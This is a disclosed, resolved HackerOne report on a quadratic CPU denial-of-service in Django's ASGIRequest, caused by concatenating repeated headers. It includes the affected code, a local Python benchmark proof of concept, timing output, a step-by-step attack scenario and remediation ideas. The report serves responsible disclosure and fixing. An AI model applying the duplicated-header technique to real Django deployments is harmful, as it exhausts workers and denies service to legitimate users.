ASGIRequest header concatenation quadratic CPU DoS on Django via repeated headers leads to worker exhaustion

Disclosed: 2026-02-09 15:05:03 By sy2n0 To django
Unknown
Vulnerability Details
# ASGIRequest header concatenation quadratic CPU DoS **Reporter:** Jiyong Yang / BAEKSEOK University **Target:** Django (current `main`, affects all versions with ASGI support) **Type:** Denial of Service (CPU exhaustion) ## Summary `django.core.handlers.asgi.ASGIRequest` builds the `META` dictionary by iterating over the ASGI `scope["headers"]` array. Whenever the same header name appears multiple times (which is legal in HTTP/2 and HTTP/3), the code concatenates the previous value and the new chunk via `value = existing + "," + new`. Because Python strings are immutable, each concatenation copies the entire accumulated value. If an attacker repeats a header `n` times, the loop performs `1 + 2 + … + n = Θ(n²)` bytes of copying before the request even reaches view code. A single request with a few thousand duplicated headers therefore ties up the worker CPU and creates a denial-of-service condition on any Django ASGI deployment. ```85:103:django/django/core/handlers/asgi.py for name, value in self.scope.get("headers", []): name = name.decode("latin1") if name == "content-length": corrected_name = "CONTENT_LENGTH" elif name == "content-type": corrected_name = "CONTENT_TYPE" else: corrected_name = "HTTP_%s" % name.upper().replace("-", "_") value = value.decode("latin1") if corrected_name == "HTTP_COOKIE": value = value.rstrip("; ") if "HTTP_COOKIE" in self.META: value = self.META[corrected_name] + "; " + value elif corrected_name in self.META: value = self.META[corrected_name] + "," + value self.META[corrected_name] = value ``` ## Impact - One HTTP/2 request that repeats a short header 8,000–16,000 times consumes several hundred milliseconds to multiple seconds of CPU just to build the request object. No body payload is required. - Attackers can open a handful of parallel connections and keep ASGI workers (uvicorn + gunicorn, Daphne, etc.) saturated, preventing legitimate traffic from being served. - The attack stays within Django's documented limits (URLs/headers < 8 KB, body < 2.5 MB) and requires no special configuration changes, so it satisfies the Django security policy. ## Proof of Concept The following script imports Django from the repository, constructs `ASGIRequest` objects with varying header counts, and measures how long `__init__()` spends concatenating: ```python import sys, time from io import BytesIO sys.path.insert(0, "/django-poc") sys.path.insert(0, "/django-poc/django") import asgiref.sync class ThreadSensitiveContext: async def __aenter__(self): return self async def __aexit__(self, exc_type, exc, tb): return False asgiref.sync.ThreadSensitiveContext = ThreadSensitiveContext from django.conf import settings if not settings.configured: settings.configure(DEBUG=False, SECRET_KEY="x", ROOT_URLCONF=__name__, ALLOWED_HOSTS=["*"], USE_TZ=True) import django django.setup() from django.core.handlers.asgi import ASGIRequest def bench(n, header_len=128): scope = { "type": "http", "scheme": "http", "path": "/", "method": "GET", "headers": [(b"cookie", b"a=1" * (header_len // 4)) for _ in range(n)], "query_string": b"", } start = time.perf_counter() ASGIRequest(scope, BytesIO(b"")) return time.perf_counter() - start for n in (2_000, 4_000, 8_000, 16_000): print(f"{n} headers -> {bench(n):.6f}s") ``` Example output on my M3 system: ``` 2000 headers -> 0.015708s 4000 headers -> 0.066771s 8000 headers -> 0.233624s 16000 headers -> 1.131225s ``` Doubling the header count quadruples the runtime, clearly showing the Θ(n²) growth. All requests used zero body bytes and only ~2 MB of total header data, so they comply with Django's policy limits. ## Attack Scenario 1. Open an HTTP/2 connection to the Django ASGI deployment (gunicorn+uvicorn, Daphne, etc.). 2. Send a GET request with one cookie (or any header) duplicated thousands of times, keeping individual header values small (<128 B) and leaving the body empty. 3. `ASGIRequest` concatenates each copy into `META`, burning CPU before middleware or views run. 4. Repeat on a few concurrent connections to keep all worker processes busy and deny service to legitimate users. ## Root Cause The request constructor stores repeated headers as a single comma-delimited string by copying the full accumulated value at every iteration. Because Python strings are immutable, each `existing + "," + value` operation reallocates and copies the entire string. There is no upper bound on repeated headers and no streaming/buffering mechanism, so the loop performs Θ(n²) work for Θ(n) input. ## Remediation Ideas 1. Collect repeated headers in lists (e.g., `defaultdict(list)`) and only call `",".join(values)` after the loop, reducing the complexity to O(n). 2. For cookies, use `"; ".join(...)` with the same approach instead of repeated string concatenation. 3. Optionally enforce a sane maximum repetition count per header name to fail fast on absurd inputs. ## Policy Fit - Inputs remain within Django's published limits (body under 2.5 MB, headers under 8 KB per entry). - Attack works against default ASGI deployments with no custom settings. - Impact is a classic CPU exhaustion DoS, explicitly listed as in-scope for Django's security program. ## Timeline - 2025-11-14: Issue discovered and locally benchmarked.
Actions
View on HackerOne
Report Stats
  • Report ID: 3426417
  • State: Closed
  • Substate: resolved
  • Upvotes: 1
Share this report